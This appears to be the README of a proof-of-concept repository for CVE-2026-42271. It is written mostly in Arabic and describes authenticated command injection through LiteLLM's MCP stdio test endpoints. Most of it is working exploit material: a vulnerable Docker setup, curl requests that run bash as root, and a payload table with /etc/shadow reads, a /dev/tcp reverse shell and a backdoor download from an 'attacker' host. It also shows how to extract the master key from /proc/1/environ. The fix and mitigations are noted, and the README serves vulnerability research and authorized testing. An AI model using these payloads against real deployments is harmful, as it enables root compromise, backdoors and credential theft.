learner202649/cve-2026-42271-pocالكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة شخصيًا
LiteLLM
POST /mcp-rest/test/connectionوPOST /mcp-rest/test/tools/list— حقن أوامر مصادق عليه عبر نقل MCP stdio. يمكن لأي مفتاح API صالح تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات root (في نشر Docker الافتراضي).الصورة مثبّتة عبر digest: الحاوية المعرضة للخطر مثبّتة على LiteLLM v1.82.6، لضمان قابلية إعادة إنتاج طويلة الأمد.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (مرتفع) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (مرتفع) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (حقن أوامر نظام التشغيل) |
| الإصدارات المتأثرة | LiteLLM >= 1.74.2, < 1.83.7 |
| الإصلاح | v1.83.7+ (تمت إضافة القائمة البيضاء للأوامر + فحص دور PROXY_ADMIN) |
| تاريخ النشر | 2026-05-08 |
| الإصدار المثبّت | v1.82.6 — الصورة مثبّتة عبر digest لضمان قابلية إعادة إنتاج طويلة الأمد |
| الروابط | GHSA-v4p8-mg3p-g94g • NVD • استشارة GitLab |
نقطتا نهاية تُستخدمان لمعاينة خادم MCP قبل حفظه — POST /mcp-rest/test/connection و POST /mcp-rest/test/tools/list — تقبلان إعدادًا كاملًا لخادم MCP في جسم الطلب، بما في ذلك حقول command و args و env المستخدمة بواسطة نقل stdio.
عند استدعائها بإعداد stdio، تشغّل نقطتا النهاية الأمر المقدَّم كـعملية فرعية على مضيف البروكسي بصلاحيات عملية البروكسي (root في Docker الافتراضي).
المشكلة الأساسية: تتحقق نقطتا النهاية فقط من صحة مفتاح API صالح للبروكسي دون أي فحص للدور — حتى مفاتيح internal_user ذات الصلاحيات المنخفضة يمكنها استغلال هذا.
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
يُرجع الـ API الرسالة "Failed to connect to MCP server" لأن العملية المُشغَّلة لا تتواصل عبر بروتوكول MCP — لكن الأمر قد نُفِّذ بالفعل بصلاحيات root.
| السيناريو | الحمولة |
|---|---|
| RCE أساسي | "args": ["-c", "id > /tmp/pwned"] |
| قراءة الملفات | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| استخراج متغيرات البيئة | `"args": ["-c", "cat /proc/1/environ |
| شل عكسي | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| الثبات | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionتختبر اتصال خادم MCP. مع نقل stdio، تشغّل الأمر المقدَّم.
POST /mcp-rest/test/tools/listتسرد الأدوات من خادم MCP للاختبار. السلوك نفسه — تشغّل الأمر المقدَّم عند استخدام نقل stdio.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| الحقل | النوع | مطلوب | الوصف |
|---|---|---|---|
transport | string | نعم | يجب أن يكون "stdio" لحقن الأوامر |
command | string | نعم | الملف التنفيذي المراد تشغيله (مثل: bash, python, curl) |
args | array | نعم | الوسائط التي تُمرَّر إلى الأمر |
env | object | لا | متغيرات البيئة للعملية الفرعية |
أضاف الإصلاح طبقتين من الدفاع:
validate_transport_fields() — تسمح فقط بـ: npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN)/mcp-rest/test/connection و /mcp-rest/test/tools/list عند البروكسي العكسيdocker run --user 1000:1000 ...عند إعادة إنتاج القسم 5.7 (استخراج متغيرات بيئة العملية)، يجب التنبّه إلى أن MCP Python SDK v1.25.0+ لا يرث متغيرات البيئة من العملية الأم لـ LiteLLM عند إنشاء عمليات stdio الفرعية. يمرّر الـ SDK عبر get_default_environment() قيم HOME و PATH فقط، ثم يدمجها مع حقل env المحدَّد صراحةً من قبل المستخدم.
لذلك، env > /tmp/env_dump لا يمكنه التقاط LITELLM_MASTER_KEY.
الطريقة الصحيحة: استخراج متغيرات البيئة عبر قراءة ملف /proc/1/environ الخاص بالعملية الرئيسية لـ LiteLLM:
# 提取环境变量（通过 /proc/1/environ）
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
التفاصيل في تقرير إعادة الإنتاج القسم 5.7.
إخلاء مسؤولية: هذا المحتوى مقدَّم لأغراض تعليمية ولأغراض الاختبارات الأمنية المصرَّح بها فقط.